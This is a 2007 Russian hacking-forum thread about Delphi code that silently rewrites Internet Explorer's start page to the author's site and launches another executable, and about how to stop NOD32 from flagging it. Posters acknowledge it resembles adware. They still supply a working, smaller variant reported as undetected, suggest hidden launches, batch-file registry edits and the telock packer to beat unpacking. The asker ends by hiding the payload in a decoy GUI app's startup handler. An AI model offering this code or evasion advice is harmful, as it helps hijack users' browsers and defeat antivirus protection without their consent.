Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Борьба с NOD32 из Delphi (https://forum.antichat.xyz/showthread.php?t=31109)

Mirovan 12.01.2007 14:35

Борьба с NOD32 из Delphi
 
Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит.

Вопрос:
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался

2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?


Код:


{$R run.res} //Инклудим Файл ресурсов в котором есть иконка
uses
  Windows, Registry, ShellApi;
var
  r: TRegistry;
  h: HWND;
begin
  r := TRegistry.Create;
  r.RootKey := HKEY_CURRENT_USER;
  r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
  r.WriteString('Start Page', 'http://www.some_site.ru');
  r.CloseKey;
  r.Free;
  ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.


Sov1et 12.01.2007 18:37

нод скорее всего ругается на изменение реестра осла...

asm33 13.01.2007 03:06

точняк это из за осла нод парит мозги.

1)если уж совсем никак, то попробуй реализовать операции с реестром через bat файл, а потом его запустить

2) может быть и уменьшится, но не значительно. проблемы с размером exe решаются просто: использовать kol библиотеку.

W!z@rD 13.01.2007 10:29

Цитата:

Сообщение от Mirovan
устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe

1. Скрытый запуск процесса.
2. Работа с ветвью реестра которая подгрузится по умолчанию... ну похоже ведь на Adware, да? =)

Цитата:

Сообщение от Mirovan
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался
2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?

1.
а) не юзай пакеры
б) ни делай скрытых запусков типа
winexec('file.exe',sw_hide);
ShellExecute(handle,nil,'file.exe',nil,nil,sw_hide );
(примечание. ИСХОДНИК СМОТРЕЛ!)
в) ни делай ничего противозаконного =)

2) да действительно так чем выше версия КОМПИЛЯТОРА тем выше исходный размер.

Код:


{$R run.res} //Инклудим Файл ресурсов в котором есть
иконка
//зачем иконка?
uses
  Windows, Registry, ShellApi;
//Размер? Избавляйся от Registry & ShellAPI

var
  r: TRegistry;
  h: HWND;
//Теперь объясни зачем тебе переменная h?
begin
  r := TRegistry.Create;
  r.RootKey := HKEY_CURRENT_USER;
  r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
  r.WriteString('Start Page', 'http://www.some_site.ru');
  r.CloseKey;
  r.Free;
  ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.


Mirovan 13.01.2007 10:41

1) Думаю многие видели диски какого нить там софта, где также ставиться хомпага в ИЕ на их сайт, причем нод молчит. Может есть способ изменения хомпаге ИЕ через ВинАпи ?

2) я пренебрежительно отношусь к Kol, он бывает коверкает приложение, хотя здесь вроде программка маленькая, думаю что всё будет ОК.


Кстати, будет ли НОД ругаться если использовать не консльное приложение а Gui-приложение? ( надо проверить ) .

Mirovan 13.01.2007 10:44

Иконка нужна, однозначна, ну чтоб красиво было :)

Если избавться от Registry & ShellAPI , то каким образом менять хомпагу у ИЕ ?

W!z@rD 13.01.2007 12:41

))
Ужос...
от ShellAPI можно избавиться путем переноса описания функции со всем описанием
т.е. имя, переменные, экспорт...
сейчас не могу сделать т.к. не дома.
в качестве варианта можно использовать winexec
от Registry можно избавиться если будешь работать с реестром на API

asm33 13.01.2007 15:51

а вместо ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
WinExec() использовать нереально? учитывая что ShellExecute запускается с аргументами h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL, WinExec полноценно ее заменит + не надо shellapi подключать, размер будет меньше

asm33 13.01.2007 15:53

пакеры как раз надо использовать!!! какой нибудь telock 1.0 (private edition). Вряд ли нод его распакует )))

Mirovan 13.01.2007 17:06

Тут попробавал изменить код, чрез ВинАпи попыытался, нифига, НОД Снова орет:


//{$R run.res}
uses
Windows, Registry, ShellApi;
var
h: HWND;
(******)
function RegWriteStr(RootKey: HKEY; Key, Name, Value: string): Boolean;
var
Handle: HKEY;
Res: LongInt;
begin
Result := False;
Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if Res <> ERROR_SUCCESS then
Exit;
Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value),
Length(Value) + 1);
Result := Res = ERROR_SUCCESS;
RegCloseKey(Handle);
end;
(******)
begin
RegWriteStr(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main', 'Start Page', 'http://www.maizon.ru');
// ShellExecute(h, 'open', pchar('la2.exe'), nil , nil, SW_SHOWNORMAL);
end.

Go0o$E 13.01.2007 17:21

Вот: Работает, весит 14 кб, нодом не палица =)

program Project1;

{$R run.res}
uses
Windows;

var
Reg : HKEY;
begin
RegCreateKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\Main', Reg);
RegSetValueEx(Reg, PChar('Start Page') ,0 ,REG_SZ ,PChar('http://www.somesite.ru'), Length('http://www.somesite.ru') + 1);
RegCloseKey(Reg);
winexec('some_bin.exe',0);
end.

Mirovan 13.01.2007 17:27

Вообще фигня какая то, НОД - тупой, создал Gui приложение, и НОД , как ни странно молчит .

W!z@rD 13.01.2007 21:28

) ну даешь... НОД не тупой просто параноя =)
ну как сделал?
вот:
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall;
external 'shell32.dll'name 'ShellExecuteA';

Mirovan 14.01.2007 01:19

Цитата:

Сообщение от W!z@rD
) ну даешь... НОД не тупой просто параноя =)
ну как сделал?
вот:
function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall;
external 'shell32.dll'name 'ShellExecuteA';


Из этой проблемы вылез с помощью GUI проложения, добавил на форму всяких красивых кнопоче, орюшечек и др, а onCreate сделал бяку которую и хотел.


Время: 11:40